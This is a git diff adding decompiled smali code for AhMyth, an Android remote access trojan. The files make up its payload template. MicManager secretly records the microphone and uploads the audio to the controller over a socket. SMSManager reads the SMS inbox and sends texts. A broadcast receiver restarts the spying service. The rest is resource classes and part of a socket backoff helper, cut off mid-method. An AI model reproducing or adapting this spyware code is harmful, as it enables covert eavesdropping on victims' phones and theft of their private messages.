diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager.smali
new file mode 100644
index 00000000..756a9b67
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MicManager.smali
@@ -0,0 +1,308 @@
+.class public Lahmyth/mine/king/ahmyth/MicManager;
+.super Ljava/lang/Object;
+.source "MicManager.java"
+
+
+# static fields
+.field static final TAG:Ljava/lang/String; = "MediaRecording"
+
+.field static audiofile:Ljava/io/File;
+
+.field static recorder:Landroid/media/MediaRecorder;
+
+.field static stopRecording:Ljava/util/TimerTask;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .prologue
+ .line 35
+ const/4 v0, 0x0
+
+ sput-object v0, Lahmyth/mine/king/ahmyth/MicManager;->audiofile:Ljava/io/File;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 31
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method static synthetic access$000(Ljava/io/File;)V
+ .locals 0
+ .param p0, "x0" # Ljava/io/File;
+
+ .prologue
+ .line 31
+ invoke-static {p0}, Lahmyth/mine/king/ahmyth/MicManager;->sendVoice(Ljava/io/File;)V
+
+ return-void
+.end method
+
+.method private static sendVoice(Ljava/io/File;)V
+ .locals 9
+ .param p0, "file" # Ljava/io/File;
+
+ .prologue
+ .line 80
+ invoke-virtual {p0}, Ljava/io/File;->length()J
+
+ move-result-wide v6
+
+ long-to-int v4, v6
+
+ .line 81
+ .local v4, "size":I
+ new-array v1, v4, [B
+
+ .line 83
+ .local v1, "data":[B
+ :try_start_0
+ new-instance v0, Ljava/io/BufferedInputStream;
+
+ new-instance v5, Ljava/io/FileInputStream;
+
+ invoke-direct {v5, p0}, Ljava/io/FileInputStream;->(Ljava/io/File;)V
+
+ invoke-direct {v0, v5}, Ljava/io/BufferedInputStream;->(Ljava/io/InputStream;)V
+
+ .line 84
+ .local v0, "buf":Ljava/io/BufferedInputStream;
+ const/4 v5, 0x0
+
+ array-length v6, v1
+
+ invoke-virtual {v0, v1, v5, v6}, Ljava/io/BufferedInputStream;->read([BII)I
+
+ .line 85
+ new-instance v3, Lorg/json/JSONObject;
+
+ invoke-direct {v3}, Lorg/json/JSONObject;->()V
+
+ .line 86
+ .local v3, "object":Lorg/json/JSONObject;
+ const-string v5, "file"
+
+ const/4 v6, 0x1
+
+ invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 87
+ const-string v5, "name"
+
+ invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v6
+
+ invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 88
+ const-string v5, "buffer"
+
+ invoke-virtual {v3, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 89
+ invoke-static {}, Lahmyth/mine/king/ahmyth/IOSocket;->getInstance()Lahmyth/mine/king/ahmyth/IOSocket;
+
+ move-result-object v5
+
+ invoke-virtual {v5}, Lahmyth/mine/king/ahmyth/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v5
+
+ const-string v6, "x0000mc"
+
+ const/4 v7, 0x1
+
+ new-array v7, v7, [Ljava/lang/Object;
+
+ const/4 v8, 0x0
+
+ aput-object v3, v7, v8
+
+ invoke-virtual {v5, v6, v7}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 90
+ invoke-virtual {v0}, Ljava/io/BufferedInputStream;->close()V
+ :try_end_0
+ .catch Ljava/io/FileNotFoundException; {:try_start_0 .. :try_end_0} :catch_0
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_2
+
+ .line 99
+ .end local v0 # "buf":Ljava/io/BufferedInputStream;
+ .end local v3 # "object":Lorg/json/JSONObject;
+ :goto_0
+ return-void
+
+ .line 91
+ :catch_0
+ move-exception v2
+
+ .line 92
+ .local v2, "e":Ljava/io/FileNotFoundException;
+ invoke-virtual {v2}, Ljava/io/FileNotFoundException;->printStackTrace()V
+
+ goto :goto_0
+
+ .line 93
+ .end local v2 # "e":Ljava/io/FileNotFoundException;
+ :catch_1
+ move-exception v2
+
+ .line 94
+ .local v2, "e":Ljava/io/IOException;
+ invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
+
+ goto :goto_0
+
+ .line 95
+ .end local v2 # "e":Ljava/io/IOException;
+ :catch_2
+ move-exception v2
+
+ .line 96
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_0
+.end method
+
+.method public static startRecording(I)V
+ .locals 6
+ .param p0, "sec" # I
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .prologue
+ .line 44
+ invoke-static {}, Lahmyth/mine/king/ahmyth/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v2
+
+ invoke-virtual {v2}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
+
+ move-result-object v0
+
+ .line 46
+ .local v0, "dir":Ljava/io/File;
+ :try_start_0
+ const-string v2, "DIRR"
+
+ invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 47
+ const-string v2, "sound"
+
+ const-string v3, ".mp3"
+
+ invoke-static {v2, v3, v0}, Ljava/io/File;->createTempFile(Ljava/lang/String;Ljava/lang/String;Ljava/io/File;)Ljava/io/File;
+
+ move-result-object v2
+
+ sput-object v2, Lahmyth/mine/king/ahmyth/MicManager;->audiofile:Ljava/io/File;
+ :try_end_0
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 55
+ new-instance v2, Landroid/media/MediaRecorder;
+
+ invoke-direct {v2}, Landroid/media/MediaRecorder;->()V
+
+ sput-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ .line 56
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v3, 0x1
+
+ invoke-virtual {v2, v3}, Landroid/media/MediaRecorder;->setAudioSource(I)V
+
+ .line 57
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v3, 0x2
+
+ invoke-virtual {v2, v3}, Landroid/media/MediaRecorder;->setOutputFormat(I)V
+
+ .line 58
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v3, 0x3
+
+ invoke-virtual {v2, v3}, Landroid/media/MediaRecorder;->setAudioEncoder(I)V
+
+ .line 59
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ sget-object v3, Lahmyth/mine/king/ahmyth/MicManager;->audiofile:Ljava/io/File;
+
+ invoke-virtual {v3}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v2, v3}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V
+
+ .line 60
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v2}, Landroid/media/MediaRecorder;->prepare()V
+
+ .line 61
+ sget-object v2, Lahmyth/mine/king/ahmyth/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v2}, Landroid/media/MediaRecorder;->start()V
+
+ .line 64
+ new-instance v2, Lahmyth/mine/king/ahmyth/MicManager$1;
+
+ invoke-direct {v2}, Lahmyth/mine/king/ahmyth/MicManager$1;->()V
+
+ sput-object v2, Lahmyth/mine/king/ahmyth/MicManager;->stopRecording:Ljava/util/TimerTask;
+
+ .line 75
+ new-instance v2, Ljava/util/Timer;
+
+ invoke-direct {v2}, Ljava/util/Timer;->()V
+
+ sget-object v3, Lahmyth/mine/king/ahmyth/MicManager;->stopRecording:Ljava/util/TimerTask;
+
+ mul-int/lit16 v4, p0, 0x3e8
+
+ int-to-long v4, v4
+
+ invoke-virtual {v2, v3, v4, v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 76
+ :goto_0
+ return-void
+
+ .line 48
+ :catch_0
+ move-exception v1
+
+ .line 49
+ .local v1, "e":Ljava/io/IOException;
+ const-string v2, "MediaRecording"
+
+ const-string v3, "external storage access error"
+
+ invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MyReceiver.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MyReceiver.smali
new file mode 100644
index 00000000..a014f112
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/MyReceiver.smali
@@ -0,0 +1,40 @@
+.class public Lahmyth/mine/king/ahmyth/MyReceiver;
+.super Landroid/content/BroadcastReceiver;
+.source "MyReceiver.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 8
+ invoke-direct {p0}, Landroid/content/BroadcastReceiver;->()V
+
+ .line 9
+ return-void
+.end method
+
+
+# virtual methods
+.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 1
+ .param p1, "context" # Landroid/content/Context;
+ .param p2, "intent" # Landroid/content/Intent;
+
+ .prologue
+ .line 15
+ new-instance p2, Landroid/content/Intent;
+
+ .end local p2 # "intent":Landroid/content/Intent;
+ const-class v0, Lahmyth/mine/king/ahmyth/MainService;
+
+ invoke-direct {p2, p1, v0}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ .line 16
+ .restart local p2 # "intent":Landroid/content/Intent;
+ invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+
+ .line 18
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$attr.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$attr.smali
new file mode 100644
index 00000000..8dd8cd30
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$attr.smali
@@ -0,0 +1,26 @@
+.class public final Lahmyth/mine/king/ahmyth/R$attr;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "attr"
+.end annotation
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 11
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$color.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$color.smali
new file mode 100644
index 00000000..55d8fdc8
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$color.smali
@@ -0,0 +1,34 @@
+.class public final Lahmyth/mine/king/ahmyth/R$color;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "color"
+.end annotation
+
+
+# static fields
+.field public static final colorAccent:I = 0x7f050000
+
+.field public static final colorPrimary:I = 0x7f050001
+
+.field public static final colorPrimaryDark:I = 0x7f050002
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 13
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$dimen.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$dimen.smali
new file mode 100644
index 00000000..60c9f7cf
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$dimen.smali
@@ -0,0 +1,32 @@
+.class public final Lahmyth/mine/king/ahmyth/R$dimen;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "dimen"
+.end annotation
+
+
+# static fields
+.field public static final activity_horizontal_margin:I = 0x7f040000
+
+.field public static final activity_vertical_margin:I = 0x7f040001
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 18
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$id.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$id.smali
new file mode 100644
index 00000000..baa7ea07
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$id.smali
@@ -0,0 +1,34 @@
+.class public final Lahmyth/mine/king/ahmyth/R$id;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "id"
+.end annotation
+
+
+# static fields
+.field public static final activity_main:I = 0x7f080000
+
+.field public static final btnCapture:I = 0x7f080002
+
+.field public static final camera_preview:I = 0x7f080001
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 22
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$layout.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$layout.smali
new file mode 100644
index 00000000..b03b4ff7
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$layout.smali
@@ -0,0 +1,30 @@
+.class public final Lahmyth/mine/king/ahmyth/R$layout;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "layout"
+.end annotation
+
+
+# static fields
+.field public static final activity_main:I = 0x7f030000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 27
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$mipmap.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$mipmap.smali
new file mode 100644
index 00000000..8b5e8756
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$mipmap.smali
@@ -0,0 +1,30 @@
+.class public final Lahmyth/mine/king/ahmyth/R$mipmap;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "mipmap"
+.end annotation
+
+
+# static fields
+.field public static final ic_launcher:I = 0x7f020000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 30
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$string.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$string.smali
new file mode 100644
index 00000000..3be12418
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$string.smali
@@ -0,0 +1,30 @@
+.class public final Lahmyth/mine/king/ahmyth/R$string;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "string"
+.end annotation
+
+
+# static fields
+.field public static final app_name:I = 0x7f060000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 33
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$style.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$style.smali
new file mode 100644
index 00000000..67e237fa
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R$style.smali
@@ -0,0 +1,30 @@
+.class public final Lahmyth/mine/king/ahmyth/R$style;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingClass;
+ value = Lahmyth/mine/king/ahmyth/R;
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x19
+ name = "style"
+.end annotation
+
+
+# static fields
+.field public static final AppTheme:I = 0x7f070000
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 36
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R.smali
new file mode 100644
index 00000000..aa6e1c21
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/R.smali
@@ -0,0 +1,30 @@
+.class public final Lahmyth/mine/king/ahmyth/R;
+.super Ljava/lang/Object;
+.source "R.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/MemberClasses;
+ value = {
+ Lahmyth/mine/king/ahmyth/R$style;,
+ Lahmyth/mine/king/ahmyth/R$string;,
+ Lahmyth/mine/king/ahmyth/R$mipmap;,
+ Lahmyth/mine/king/ahmyth/R$layout;,
+ Lahmyth/mine/king/ahmyth/R$id;,
+ Lahmyth/mine/king/ahmyth/R$dimen;,
+ Lahmyth/mine/king/ahmyth/R$color;,
+ Lahmyth/mine/king/ahmyth/R$attr;
+ }
+.end annotation
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 10
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/SMSManager.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/SMSManager.smali
new file mode 100644
index 00000000..1a00fd33
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/ahmyth/mine/king/ahmyth/SMSManager.smali
@@ -0,0 +1,214 @@
+.class public Lahmyth/mine/king/ahmyth/SMSManager;
+.super Ljava/lang/Object;
+.source "SMSManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .prologue
+ .line 16
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getSMSList()Lorg/json/JSONObject;
+ .locals 14
+
+ .prologue
+ const/4 v13, 0x0
+
+ .line 21
+ :try_start_0
+ new-instance v6, Lorg/json/JSONObject;
+
+ invoke-direct {v6}, Lorg/json/JSONObject;->()V
+
+ .line 22
+ .local v6, "SMSList":Lorg/json/JSONObject;
+ new-instance v11, Lorg/json/JSONArray;
+
+ invoke-direct {v11}, Lorg/json/JSONArray;->()V
+
+ .line 25
+ .local v11, "list":Lorg/json/JSONArray;
+ const-string v0, "content://sms/inbox"
+
+ invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v1
+
+ .line 26
+ .local v1, "uriSMSURI":Landroid/net/Uri;
+ invoke-static {}, Lahmyth/mine/king/ahmyth/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v0
+
+ const/4 v2, 0x0
+
+ const/4 v3, 0x0
+
+ const/4 v4, 0x0
+
+ const/4 v5, 0x0
+
+ invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
+
+ move-result-object v9
+
+ .line 28
+ .local v9, "cur":Landroid/database/Cursor;
+ :goto_0
+ invoke-interface {v9}, Landroid/database/Cursor;->moveToNext()Z
+
+ move-result v0
+
+ if-eqz v0, :cond_0
+
+ .line 29
+ new-instance v12, Lorg/json/JSONObject;
+
+ invoke-direct {v12}, Lorg/json/JSONObject;->()V
+
+ .line 30
+ .local v12, "sms":Lorg/json/JSONObject;
+ const-string v0, "address"
+
+ invoke-interface {v9, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v9, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v7
+
+ .line 31
+ .local v7, "address":Ljava/lang/String;
+ const-string v0, "body"
+
+ invoke-interface {v9, v0}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-interface {v9, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
+
+ move-result-object v8
+
+ .line 32
+ .local v8, "body":Ljava/lang/String;
+ const-string v0, "phoneNo"
+
+ invoke-virtual {v12, v0, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 33
+ const-string v0, "msg"
+
+ invoke-virtual {v12, v0, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 34
+ invoke-virtual {v11, v12}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_0
+
+ .line 40
+ .end local v1 # "uriSMSURI":Landroid/net/Uri;
+ .end local v7 # "address":Ljava/lang/String;
+ .end local v8 # "body":Ljava/lang/String;
+ .end local v9 # "cur":Landroid/database/Cursor;
+ .end local v11 # "list":Lorg/json/JSONArray;
+ .end local v12 # "sms":Lorg/json/JSONObject;
+ :catch_0
+ move-exception v10
+
+ .line 41
+ .local v10, "e":Lorg/json/JSONException;
+ invoke-virtual {v10}, Lorg/json/JSONException;->printStackTrace()V
+
+ move-object v6, v13
+
+ .line 44
+ .end local v6 # "SMSList":Lorg/json/JSONObject;
+ .end local v10 # "e":Lorg/json/JSONException;
+ :goto_1
+ return-object v6
+
+ .line 37
+ .restart local v1 # "uriSMSURI":Landroid/net/Uri;
+ .restart local v6 # "SMSList":Lorg/json/JSONObject;
+ .restart local v9 # "cur":Landroid/database/Cursor;
+ .restart local v11 # "list":Lorg/json/JSONArray;
+ :cond_0
+ :try_start_1
+ const-string v0, "smsList"
+
+ invoke-virtual {v6, v0, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 38
+ const-string v0, "done"
+
+ const-string v2, "collecting"
+
+ invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+ :try_end_1
+ .catch Lorg/json/JSONException; {:try_start_1 .. :try_end_1} :catch_0
+
+ goto :goto_1
+.end method
+
+.method public static sendSMS(Ljava/lang/String;Ljava/lang/String;)Z
+ .locals 7
+ .param p0, "phoneNo" # Ljava/lang/String;
+ .param p1, "msg" # Ljava/lang/String;
+
+ .prologue
+ .line 50
+ :try_start_0
+ invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
+
+ move-result-object v0
+
+ .line 51
+ .local v0, "smsManager":Landroid/telephony/SmsManager;
+ const/4 v2, 0x0
+
+ const/4 v4, 0x0
+
+ const/4 v5, 0x0
+
+ move-object v1, p0
+
+ move-object v3, p1
+
+ invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 52
+ const/4 v1, 0x1
+
+ .line 55
+ .end local v0 # "smsManager":Landroid/telephony/SmsManager;
+ :goto_0
+ return v1
+
+ .line 53
+ :catch_0
+ move-exception v6
+
+ .line 54
+ .local v6, "ex":Ljava/lang/Exception;
+ invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
+
+ .line 55
+ const/4 v1, 0x0
+
+ goto :goto_0
+.end method
diff --git a/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/backo/Backoff.smali b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/backo/Backoff.smali
new file mode 100644
index 00000000..fc8226c9
--- /dev/null
+++ b/AhMyth-Android-RAT/AhMyth-Server/app/app/Factory/Ahmyth/smali/io/socket/backo/Backoff.smali
@@ -0,0 +1,247 @@
+.class public Lio/socket/backo/Backoff;
+.super Ljava/lang/Object;
+.source "Backoff.java"
+
+
+# instance fields
+.field private attempts:I
+
+.field private factor:I
+
+.field private jitter:D
+
+.field private max:J
+
+.field private ms:J
+
+
+# direct methods
+.method public constructor ()V
+ .locals 2
+
+ .prologue
+ .line 14
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ .line 8
+ const-wide/16 v0, 0x64
+
+ iput-wide v0, p0, Lio/socket/backo/Backoff;->ms:J
+
+ .line 9
+ const-wide/16 v0, 0x2710
+
+ iput-wide v0, p0, Lio/socket/backo/Backoff;->max:J
+
+ .line 10
+ const/4 v0, 0x2
+
+ iput v0, p0, Lio/socket/backo/Backoff;->factor:I
+
+ .line 14
+ return-void
+.end method
+
+
+# virtual methods
+.method public duration()J
+ .locals 8
+
+ .prologue
+ .line 17
+ iget-wide v4, p0, Lio/socket/backo/Backoff;->ms:J
+
+ invoke-static {v4, v5}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v4
+
+ iget v5, p0, Lio/socket/backo/Backoff;->factor:I
+
+ int-to-long v6, v5
+
+ .line 18
+ invoke-static {v6, v7}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
+
+ move-result-object v5
+
+ iget v6, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ add-int/lit8 v7, v6, 0x1
+
+ iput v7, p0, Lio/socket/backo/Backoff;->attempts:I
+
+ invoke-virtual {v5, v6}, Ljava/math/BigInteger;->pow(I)Ljava/math/BigInteger;
+
+ move-result-object v5
+
